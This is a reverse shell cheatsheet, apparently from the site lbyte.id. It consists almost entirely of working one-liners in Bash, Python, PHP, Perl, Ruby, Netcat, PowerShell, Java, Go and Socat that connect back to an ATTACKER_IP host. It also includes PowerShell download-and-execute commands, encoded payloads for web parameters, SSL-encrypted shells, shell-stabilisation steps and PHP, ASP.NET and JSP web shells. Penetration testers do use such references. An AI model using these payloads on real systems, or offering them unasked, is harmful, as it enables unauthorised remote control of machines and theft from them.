Reverse Shell Cheatsheet — lbyte.id

A complete reverse shell reference organized by language and platform. Always set up your listener before triggering the shell.

Listener Setup

# Basic netcat
nc -lvnp 4444

# With rlwrap (arrow keys + history)
rlwrap nc -lvnp 4444

# Metasploit multi/handler (most stable)
use exploit/multi/handler
set PAYLOAD linux/x64/shell/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

# Ncat (SSL encrypted)
ncat --ssl -lvp 4444

---

Bash

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# URL encoded (for web params)
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27

# With /dev/udp
bash -i >& /dev/udp/ATTACKER_IP/4444 0>&1

# Using exec
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# Pipe
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196

---

Python

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Short version
python3 -c 'import pty,socket,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

---

PHP

# One-liner
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Proc_open
php -r '$sock=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

# Short web shell
<?php system($_GET['cmd']); ?>

# PHP webshell (one-liner in parameter)
php -r 'system($_GET["c"]);'

# Full PHP reverse shell (pentest monkey)
# Download: https://github.com/pentestmonkey/php-reverse-shell

---

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Windows Perl
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

---

Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Short
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

---

Netcat

nc -e /bin/sh ATTACKER_IP 4444
nc -e /bin/bash ATTACKER_IP 4444

# If -e is not available (OpenBSD nc)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

# Or
mknod /tmp/backpipe p && nc ATTACKER_IP 4444 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe

---

PowerShell (Windows)

# One-liner
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Base64 encoded (avoid quote issues)
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/Invoke-PowerShellTcp.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$b64 = [Convert]::ToBase64String($bytes)
powershell -enc $b64

# Download and execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://ATTACKER_IP/shell.ps1')"

---

Java

r = Runtime.getRuntime(); p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();

---

Go

package main
import "os/exec"; import "net"
func main() {
    c, _ := net.Dial("tcp", "ATTACKER_IP:4444")
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = c; cmd.Stdout = c; cmd.Stderr = c
    cmd.Run()
}

---

Socat

# Attacker listener (full TTY)
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

---

Shell Stabilization (Post-Shell Upgrade)

After catching a basic shell:

# Method 1 — Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Press Enter
export TERM=xterm

# Method 2 — Script
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset
export SHELL=bash TERM=xterm-256color

# Fix terminal size
stty rows 40 columns 150
# Or: stty rows $(tput lines) cols $(tput cols)

# Method 3 — socat upgrade
# On attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4445
# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4445

---

Encrypted Reverse Shell (SSL)

# Generate cert on attacker
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# Listener
ncat --ssl --ssl-key key.pem --ssl-cert cert.pem -lvp 4444

# Shell (target)
ncat --ssl ATTACKER_IP 4444 -e /bin/bash

# Or OpenSSL
# Attacker: openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# Target: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s

---

Web Shells for Initial Access

# PHP
<?php system($_GET['c']); ?>
<?php passthru($_REQUEST['c']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?=`$_GET[c]`?>

# ASP.NET
<% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll()) %>

# JSP
<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>

---

Revshell Generator

# https://www.revshells.com — online generator
# https://github.com/Dheerajmadhukar/4-ZERO-3 — CLI generator

python3 revshellgen.py -i ATTACKER_IP -p 4444 -t bash